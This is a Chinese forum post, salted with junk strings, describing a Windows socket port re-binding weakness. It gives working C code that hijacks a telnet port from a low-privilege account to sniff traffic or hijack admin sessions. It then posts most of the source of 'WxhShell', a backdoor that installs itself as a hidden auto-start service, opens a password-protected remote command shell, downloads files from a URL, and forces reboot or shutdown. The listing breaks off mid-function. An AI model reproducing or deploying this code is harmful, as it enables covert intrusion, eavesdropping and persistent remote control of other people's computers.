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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: F1yqxWHeo  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cz8T  
e~=;c  
  saddr.sin_family = AF_INET; X9V*UXTc  
9w7n1k.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); cPlZXf  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %WjXg:R  
_z|65H  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "~|6tQLc  
9dx/hFA  
  这意味着什么?意味着可以进行如下的攻击: + R~'7*EI  
R\!2l |_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b0Ps5G\ u  
cQ R]le %(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S4_YT@VD%  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u7>],<  
{8W'%\!=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z7fp#>uw  
~qTx|",  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Mh]Gw(?w  
p8Qk 'F=h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -(;26\lE  
hcsP2 0s  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |ATvS2  
8p 'L#Q.  
  #include *0Skd  
  #include L>Fa^jq5  
  #include h-`?{k&e  
  #include    "R;U/+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;n*.W|Uph  
  int main() d:C'H8  
  { vXrx{5gz  
  WORD wVersionRequested; y51e%n$  
  DWORD ret; 6 ob@[ @  
  WSADATA wsaData; 7x|9n  
  BOOL val; *av<E  
  SOCKADDR_IN saddr; z!ZtzD]cb  
  SOCKADDR_IN scaddr; KQ!8ks]  
  int err; |4;Fd9q^m  
  SOCKET s; U ]H#MiC!  
  SOCKET sc; m$>H u@Va  
  int caddsize; 2lH&  
  HANDLE mt; =(j1rW!  
  DWORD tid;   &[?\k>  
  wVersionRequested = MAKEWORD( 2, 2 ); pP&7rRhw  
  err = WSAStartup( wVersionRequested, &wsaData ); _{YWXRC#  
  if ( err != 0 ) { ?jv/TBZX4  
  printf("error!WSAStartup failed!\n"); NX*Q F+  
  return -1; !C ':  
  } _7Ju  
  saddr.sin_family = AF_INET; NvceYKp:  
   3w*R&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 AUG#_HE]k  
oM>l#><nq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); fgp]x&5Q  
  saddr.sin_port = htons(23); |.: q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )0]'QLH  
  { r,73C/*&/  
  printf("error!socket failed!\n"); 'x#~'v*  
  return -1; G" qv z{*  
  } gV's=cQ  
  val = TRUE; mp1@|*Sn  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {3mRq"e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G5BfNU  
  { O3,jg |,  
  printf("error!setsockopt failed!\n"); `,<BCu  
  return -1; I3L<[-ZE  
  } 0*3R=7_},o  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5{X<y#vAC0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 e8a+2.!&\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z"xvh81P  
`r6,+&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W aRw05r  
  { 6xx ?A>:  
  ret=GetLastError(); L ca}J&x]^  
  printf("error!bind failed!\n"); ~Fcm[eoC  
  return -1; m.rmM`  
  } V~3a!-m\  
  listen(s,2); _ ]ip ajT  
  while(1) z43M] P<  
  { Dcgo%F-W  
  caddsize = sizeof(scaddr); %YscBG  
  //接受连接请求 VscE^'+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ydA8wL  
  if(sc!=INVALID_SOCKET) <)H9V-5aZ  
  { K;G~V\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6<QQ@5_  
  if(mt==NULL) JX;G<lev  
  { O,f?YJ9S  
  printf("Thread Creat Failed!\n"); B~ GbF*j  
  break; .|70;  
  } Xc-'Y"}|`t  
  } #=A)XlZMd  
  CloseHandle(mt); IOmfF[  
  } F^;ez/Gl  
  closesocket(s); 7Ovi{xd@  
  WSACleanup(); 8OU\V5i[,q  
  return 0; &j"?\f?  
  }   ^}o2  
  DWORD WINAPI ClientThread(LPVOID lpParam) {4Cmu;u  
  { ^hM4j{|&M  
  SOCKET ss = (SOCKET)lpParam; / zPO  
  SOCKET sc; q>+k@>bk @  
  unsigned char buf[4096]; VY4yS*y  
  SOCKADDR_IN saddr; $<EM+oJ|ER  
  long num; 3F2w-+L  
  DWORD val; hRhe& ,v  
  DWORD ret; $'M!HJxb  
  //如果是隐藏端口应用的话,可以在此处加一些判断  x'<X!gw  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^u ~Q/ 4  
  saddr.sin_family = AF_INET; hz@bW2S.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @*( (1(q  
  saddr.sin_port = htons(23); oap4rHk}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %IWPM"  
  { ^<2p~h0 \  
  printf("error!socket failed!\n"); s.C_Zf~3  
  return -1; )+DmOsH  
  } 2P0*NQ   
  val = 100; eeB{c.#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %Q|Atgp  
  { (f"4,b^]  
  ret = GetLastError(); AoxA+.O  
  return -1; l]8uk^E  
  } SwMc pNo  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $xN|5;+  
  { Y$@?.)tY  
  ret = GetLastError(); X'iWJ8  
  return -1; }BP;1y6-r  
  } <)D$51 &0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /%^#8<=|U  
  { <Q3c[ Y  
  printf("error!socket connect failed!\n"); ;:NJCuG  
  closesocket(sc); PEZ!n.'S  
  closesocket(ss); A*BeR0(  
  return -1; sfl<qD+?  
  } F:S}w   
  while(1) 0</);g}  
  { }N52$L0[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _H@DLhH|=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 SE*g;Cvg1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )9]PMA?u  
  num = recv(ss,buf,4096,0); Xsa].  
  if(num>0) JB<t6+"rD  
  send(sc,buf,num,0); c-sfg>0^  
  else if(num==0) 2D5StCF$O  
  break; YGNP53CU  
  num = recv(sc,buf,4096,0); KMax$  
  if(num>0) hM! a_'  
  send(ss,buf,num,0); pd$[8Rmj_  
  else if(num==0) UJ2U1H54h  
  break; [dz _R  
  } MF'JeM;H  
  closesocket(ss); C;yZ  
  closesocket(sc); Zv{'MIv&v  
  return 0 ; <F'\lA9  
  } r<$y= B  
{P-):  
\Vk:93OH21  
========================================================== c &c@M$  
1xvu<|F  
下边附上一个代码,,WXhSHELL yB!dp;gM{  
Pg{J{gn  
========================================================== 19#\+LWA  
DHRlWQox  
#include "stdafx.h" C,eu9wOT  
yf,z$CR  
#include <stdio.h> -nwypu  
#include <string.h> 8zb /xP>  
#include <windows.h> N$tGQ@  
#include <winsock2.h> ;9#KeA _  
#include <winsvc.h> '5tCz9}Y  
#include <urlmon.h> \b>] 8Un"  
fN2lLn9/u  
#pragma comment (lib, "Ws2_32.lib") W*Y/l~x}  
#pragma comment (lib, "urlmon.lib") Ho]su?  
2Khv>#l  
#define MAX_USER   100 // 最大客户端连接数 }-2|XD%]  
#define BUF_SOCK   200 // sock buffer @(lh%@hO  
#define KEY_BUFF   255 // 输入 buffer d_P` qA  
GA.8@3  
#define REBOOT     0   // 重启 ;FEqe 49  
#define SHUTDOWN   1   // 关机 +cRn%ioVi  
&M[?h}B6  
#define DEF_PORT   5000 // 监听端口 QsW/X0YBv  
uw8f ~:LT  
#define REG_LEN     16   // 注册表键长度 \)Cl%Em  
#define SVC_LEN     80   // NT服务名长度 8?C5L8)  
(V@HR9?W)  
// 从dll定义API 'hf8ZEW9'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *K; ~!P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WY]s |2a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8cQ'dL`(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,"ql5Q4  
3$JoDL(Z  
// wxhshell配置信息  =BrRYA  
struct WSCFG { F:ELPs4"  
  int ws_port;         // 监听端口 UCWBYC+  
  char ws_passstr[REG_LEN]; // 口令 `F6C-  
  int ws_autoins;       // 安装标记, 1=yes 0=no BJ0?kX@  
  char ws_regname[REG_LEN]; // 注册表键名 Y9|!+,  
  char ws_svcname[REG_LEN]; // 服务名 A2Tw<&Tw(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :Tq~8!s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wA.\i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =\d?'dII:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y\tui+?J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B erwI 7!=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "7`<~>9t.  
H)&R=s  
}; %>s |j'{  
{XHh8_ ^&  
// default Wxhshell configuration ^C%<l( b  
struct WSCFG wscfg={DEF_PORT,  S[QrS 7  
    "xuhuanlingzhe", xLn%hxm?,  
    1, 'f|o{  
    "Wxhshell", A\;U3Zu  
    "Wxhshell", \[nut;  
            "WxhShell Service", CQ2jP G*py  
    "Wrsky Windows CmdShell Service", *$*ce|V5  
    "Please Input Your Password: ", ~;]d"'  
  1, F5#YOck&,  
  "http://www.wrsky.com/wxhshell.exe", 8$|=P!7EO  
  "Wxhshell.exe" _aMF?Pj~m  
    }; FgI3   
1nOCQ\$l  
// 消息定义模块 h1(4Ic  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,2)6s\]/b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R GX=)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BPHW}F]X  
char *msg_ws_ext="\n\rExit."; ;=UsAB]  
char *msg_ws_end="\n\rQuit."; {_dvx*M  
char *msg_ws_boot="\n\rReboot..."; 0?M:6zf_iv  
char *msg_ws_poff="\n\rShutdown..."; Xry4 7a )  
char *msg_ws_down="\n\rSave to "; w*MpX U<  
KG5>]_GH  
char *msg_ws_err="\n\rErr!"; Lh<).<S  
char *msg_ws_ok="\n\rOK!"; 8.~kK<)!  
&"q=5e2  
char ExeFile[MAX_PATH]; 1i ] ^{;]  
int nUser = 0; Y4(  
HANDLE handles[MAX_USER]; JMM W  
int OsIsNt; i 3SHg\~Z  
(4EI-e*6  
SERVICE_STATUS       serviceStatus; 3D(0=$ W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  f V(J|  
[c06 N$:  
// 函数声明 2Wb]4-  
int Install(void);  rXU\  
int Uninstall(void); 5PnDN\  
int DownloadFile(char *sURL, SOCKET wsh); YrKWA  
int Boot(int flag); BF<ikilR  
void HideProc(void); I!?}jo3  
int GetOsVer(void); '`<w#z}AF  
int Wxhshell(SOCKET wsl); IaXeRq?<  
void TalkWithClient(void *cs); e 3TI|e_  
int CmdShell(SOCKET sock); w+{LAS  
int StartFromService(void); !0cD$^7  
int StartWxhshell(LPSTR lpCmdLine); 0K2`-mL  
&`XVq" 7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?K\axf>F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZQ0F$J)2~  
:08,JL{  
// 数据结构和表定义 nj53G67y  
SERVICE_TABLE_ENTRY DispatchTable[] = Wiu"k%Qsh  
{ &JI8]JmU)  
{wscfg.ws_svcname, NTServiceMain}, (J!+(H 8  
{NULL, NULL} Z)aUt Srf  
}; &9)\wnOS  
Ez=Olbk  
// 自我安装 # 4PVVu<  
int Install(void) ZJ[ ??=Gz  
{ d<N:[Y\4l  
  char svExeFile[MAX_PATH]; aAA U{EWW  
  HKEY key; o.l- 7  
  strcpy(svExeFile,ExeFile); e@OX_t_  
{8%a5DiM  
// 如果是win9x系统,修改注册表设为自启动 w*JGUk  
if(!OsIsNt) { $ DSZO!pB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %1$,Vs<RH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tC9n k5~  
  RegCloseKey(key); Oo% d]8W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3kMf!VL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cpJ|w3x B  
  RegCloseKey(key); 7x4PaX(  
  return 0; t1y4 7fX6  
    } J S_]FsxD  
  } #?9;uy<j.q  
} *ppffz  
else { xX4N4vb  
"!%l/_p?  
// 如果是NT以上系统,安装为系统服务 %F4%H|G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `lt"[K<  
if (schSCManager!=0) 9j9TPyC/2  
{ MFAH%Z$  
  SC_HANDLE schService = CreateService n#OB%@]<V  
  ( J6FV]Gpv  
  schSCManager, ?m? ::RH  
  wscfg.ws_svcname, r|Tcfk]%  
  wscfg.ws_svcdisp, K&KWN]  
  SERVICE_ALL_ACCESS, 8eHyL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s6^>F/x  
  SERVICE_AUTO_START, 3x'|]Ns  
  SERVICE_ERROR_NORMAL, W]5w \  
  svExeFile, *itUWpNhr  
  NULL, _t #k,;  
  NULL, 9c :cw  
  NULL, ` v@m-j6  
  NULL, Ge-vWf-RbB  
  NULL ? '{SX9  
  ); @7j AL-  
  if (schService!=0) v<(  
  { "mvt>X  
  CloseServiceHandle(schService); h|{]B,.Lh  
  CloseServiceHandle(schSCManager); DG:Z=LuJr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [}0haTYc4  
  strcat(svExeFile,wscfg.ws_svcname); Q|?L*Pq2I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 76h ,]xi  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (S\[Y9  
  RegCloseKey(key); U0N 60  
  return 0; SmSH2m-  
    } e [mm  
  } 6.nCV 0xA  
  CloseServiceHandle(schSCManager); s{\8om '-  
} EE'io5\et  
} +Kbjzh3<wG  
O*)Vhw'pK  
return 1; f5VLw`m}.8  
} y''z5['  
XBu"-(  
// 自我卸载 &H/'rd0M  
int Uninstall(void) S8j{V5R'  
{ GM f `A,>  
  HKEY key; lB vR+9Qw  
uH- l%17  
if(!OsIsNt) { "8jf81V*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7/@TF/V  
  RegDeleteValue(key,wscfg.ws_regname); A1>OY^p3%  
  RegCloseKey(key); 70tH:Z)"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WX|`1b  
  RegDeleteValue(key,wscfg.ws_regname); ~^fZx5  
  RegCloseKey(key); l$pm_%@2]  
  return 0; G[I"8iS,  
  } zFff`]^`  
} P'[3Fqe  
} qe#tj/aZ  
else { hi( ;;C9  
zC!t;*8a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `U_)98  
if (schSCManager!=0) 6d}lw6L  
{ F)QDJE0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >+1duAC  
  if (schService!=0) cV6D<,)  
  { KV *#T20T  
  if(DeleteService(schService)!=0) { JH9J5%sp  
  CloseServiceHandle(schService); LH% F 8  
  CloseServiceHandle(schSCManager); vvMT}-!  
  return 0; UI0VtR]   
  } f8dB-FlMm  
  CloseServiceHandle(schService); &p@O _0nF  
  } qEOhwrh  
  CloseServiceHandle(schSCManager); Yj49t_$b  
} <%eG:n,#  
} U8?mc  
g3y~bf  
return 1; "KpGlY?^  
} H7n>Vx:L-  
0{D'n@veP  
// 从指定url下载文件 va@Lz&sAE%  
int DownloadFile(char *sURL, SOCKET wsh) wP@(?z  
{ kTgEd]^&D  
  HRESULT hr; -Q*gW2KmV  
char seps[]= "/"; 24eLB? H  
char *token; ,f>k%_U}  
char *file; CD~.z7,LC  
char myURL[MAX_PATH]; #X1ND  
char myFILE[MAX_PATH]; ~f98#43  
TC*g|d @b  
strcpy(myURL,sURL); 4!?eRY  
  token=strtok(myURL,seps); %h!B^{0  
  while(token!=NULL) q/,O\,  
  { kffcm/  
    file=token; Wne@<+mX  
  token=strtok(NULL,seps); 26h21Z16q  
  }  \4fQMG  
'H;*W|:-]  
GetCurrentDirectory(MAX_PATH,myFILE); > ~O.@|  
strcat(myFILE, "\\"); Q~Wqy~tS  
strcat(myFILE, file); WNtW|I V  
  send(wsh,myFILE,strlen(myFILE),0); P&Vv/D  
send(wsh,"...",3,0); wibNQ`4k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D0f]$  
  if(hr==S_OK) `ERz\`d~Y;  
return 0; S f# R0SA  
else Nh44]*  
return 1; W"{N Bi  
~P-mC@C  
} dR]m8mdqc1  
FS.L\MjV]U  
// 系统电源模块 9\(| D#  
int Boot(int flag) Q7CsJzk~)  
{ ?S=mybp  
  HANDLE hToken; N;%6:I./  
  TOKEN_PRIVILEGES tkp; I&5!=kR  
:ShT|n7  
  if(OsIsNt) { Y'X%Aw;`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E]r?{t`]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8u]2xB=K  
    tkp.PrivilegeCount = 1; qH_Dc=~la  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R4d=S4 i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U6s[`H3I{  
if(flag==REBOOT) { )+Pus~w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tZo} ;|~'  
  return 0; W2!+z{:m  
} >yDZw!C  
else { [2cD:JL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *VN6cSq  
  return 0; ],].zlN  
} I%Z  
  } d/ @,@8:  
  else { Cgc\ ah  
if(flag==REBOOT) { w4Z'K&d=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1h5 Akq  
  return 0; -s/ea~=R  
} P!k{u^$L  
else { akQ7K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |wj?ed$ f  
  return 0; i!Ga5v8n:  
} @KAI4LP  
} *{{89E>wC  
9cm#56  
return 1; T[j,UkgGo  
} cM7[_*Ot<m  
F6dP,(  
// win9x进程隐藏模块 {l >hMxij  
void HideProc(void) KK &?gTa  
{ fikkY=  
Y nZiT e@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %~S&AE-  
  if ( hKernel != NULL ) t |oR7qa{w  
  { uW3!Yg@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @s^-.z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  8dyg1F  
    FreeLibrary(hKernel); S21,VpW\  
  } -Y;3I00(  
TuqH*{NNy9  
return; 0qT%!ku&  
} c[Zje7 @  
2f_:v6   
// 获取操作系统版本 C"enpc_C/  
int GetOsVer(void) O|UC ?]6  
{ 0 0U> F  
  OSVERSIONINFO winfo; /H+a0`/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u> / TE  
  GetVersionEx(&winfo); ItTz.sQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jlg(drTo  
  return 1; ei5~&  
  else uRe'%?W  
  return 0; 6\S~P/PkE  
} sUm'  
gv{ >`AN  
// 客户端句柄模块 .w ,q0<}  
int Wxhshell(SOCKET wsl) dGTsc/$  
{ :P=(k2  
  SOCKET wsh; Oz#{S:24M+  
  struct sockaddr_in client; ?b5 ^  
  DWORD myID; uA#;G/$  
HLHz2-lI  
  while(nUser<MAX_USER) EDs\,f}  
{ w:l V"]1  
  int nSize=sizeof(client); dcWD(-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h3@v+Z<}  
  if(wsh==INVALID_SOCKET) return 1; E q+_&Wk  
uhutg,[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U|j`e5)  
if(handles[nUser]==0) R_S.tT!  
  closesocket(wsh); `x%>8/  
else _2 osV[e  
  nUser++; iMRwp+$  
  } Yp2eBgo"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ef13Q]9|  
%BB%pC  
  return 0; ]L}dzA?:  
} {+Cy U!O  
H~z`]5CN  
// 关闭 socket )TM4R)r%)9  
void CloseIt(SOCKET wsh) 3|Xyl`i4o  
{ Tc3yS(aq  
closesocket(wsh); LC!bIm5'  
nUser--; \:F_xq  
ExitThread(0); 0%I=d  
} )B8$<sv  
WQO) =n  
// 客户端请求句柄 ZO$%[ftb  
void TalkWithClient(void *cs) b<gr@WF  
{ i,9)\1R  
kX2rp?{  
  SOCKET wsh=(SOCKET)cs; |*tp16+6  
  char pwd[SVC_LEN]; n#_$\ p>Yd  
  char cmd[KEY_BUFF]; 'K,:j 388  
char chr[1]; gEE\y{y  
int i,j; [QT#Yf0  
fPW@{~t  
  while (nUser < MAX_USER) { Gjo`&#  
$l&(%\pp  
if(wscfg.ws_passstr) { p0<\G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hTi$.y!k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !f&g-V  
  //ZeroMemory(pwd,KEY_BUFF); bhlG,NTP  
      i=0; h2 ;F  
  while(i<SVC_LEN) { %;YHt=(1*X  
s#=7IH30  
  // 设置超时 ,]c 1A$Sr0  
  fd_set FdRead; Otm0(+YB 7  
  struct timeval TimeOut; :1KpGj*F  
  FD_ZERO(&FdRead); t" Z6[XG  
  FD_SET(wsh,&FdRead); Z Sd4z:/  
  TimeOut.tv_sec=8; s( q_ o  
  TimeOut.tv_usec=0; q;>7*Y&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3fQuoQuD"}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); * *G9H  
_X"N1,0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oj_3ZsO  
  pwd=chr[0]; ~|xA4u5LG  
  if(chr[0]==0xd || chr[0]==0xa) { u.Tcg^v  
  pwd=0; 'qX|jtdM  
  break; !9P';p}2  
  } ly3\e_z:G  
  i++; mk+B9?;cF-  
    } ;)^`3`  
_?0}<k Q&  
  // 如果是非法用户,关闭 socket hJ~Uf5Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bTs?!~q  
} ocS5SB]8  
9kS^Abtk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I- >Ss},U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tQYM&6g  
ls:w8 &`*  
while(1) { (7=!+'T"  
!6>~?gNd  
  ZeroMemory(cmd,KEY_BUFF); cI?8RF(;  
(tw)nF  
      // 自动支持客户端 telnet标准   /F'sb[  
  j=0; :~N-.#  
  while(j<KEY_BUFF) { mah JSz(3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9=h'9Wo  
  cmd[j]=chr[0]; s %\-E9 T  
  if(chr[0]==0xa || chr[0]==0xd) { $jqq `n_  
  cmd[j]=0; 0+;bh {Eu  
  break; iq( E'`d  
  } E3gh?6  
  j++; kw %};;  
    } [dIXR  
OO*zhGD;[  
  // 下载文件 qUGC" <W  
  if(strstr(cmd,"http://")) { }"PU%+J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O5kz5b> Z  
  if(DownloadFile(cmd,wsh)) "8^ Ch{G-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +:!7L= N#  
  else $jI3VB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mh/dpb\Z  
  } %r}{hq4  
  else { \T:i{.i  
"wn zo,  
    switch(cmd[0]) { QoIT*!  
  mA+&Io  
  // 帮助 %9N7Ln|%  
  case '?': { c[4i9I3v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v}O30wE  
    break; *|C^=*j9  
  } e2t-4} ww  
  // 安装 W~~7 C,!  
  case 'i': { vAh6+K.e  
    if(Install()) eWtZ]kB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .C( eh   
    else XJ` ]ga  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TKY*`?ct  
    break; KgiJUO`PR  
    } bg&zo;Ck8T  
  // 卸载 w?wG(+X7  
  case 'r': { Dhw(#{N  
    if(Uninstall()) Nj xoTLI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O%(fx!c`  
    else Mg OR2,cR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WEQ1 Seq  
    break; BJB^m|b)  
    } |_*O'#jx  
  // 显示 wxhshell 所在路径 7;sj%U^'l  
  case 'p': { ;"fDUY|  
    char svExeFile[MAX_PATH]; Z&4&-RCi  
    strcpy(svExeFile,"\n\r"); Hh-+/sO~"  
      strcat(svExeFile,ExeFile); WD2]&g  
        send(wsh,svExeFile,strlen(svExeFile),0); xtE_=5$~  
    break; [}/LD3  
    } jR2 2t`4  
  // 重启 'EF9Zt8  
  case 'b': { dC $Em@Nb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v!Pb`LCqK  
    if(Boot(REBOOT)) ^3{TZ=_;|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9:,\gw>F  
    else { KgOqbSJ  
    closesocket(wsh); W?aI|U1  
    ExitThread(0); c^u"I'#Q  
    } 4.h=&jz&  
    break; ~ ! 3I2  
    } wsN?[=l{s  
  // 关机 8p9bCE>\  
  case 'd': { j!4et;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4%}*&nsI-Z  
    if(Boot(SHUTDOWN)) mc_ch$r!  
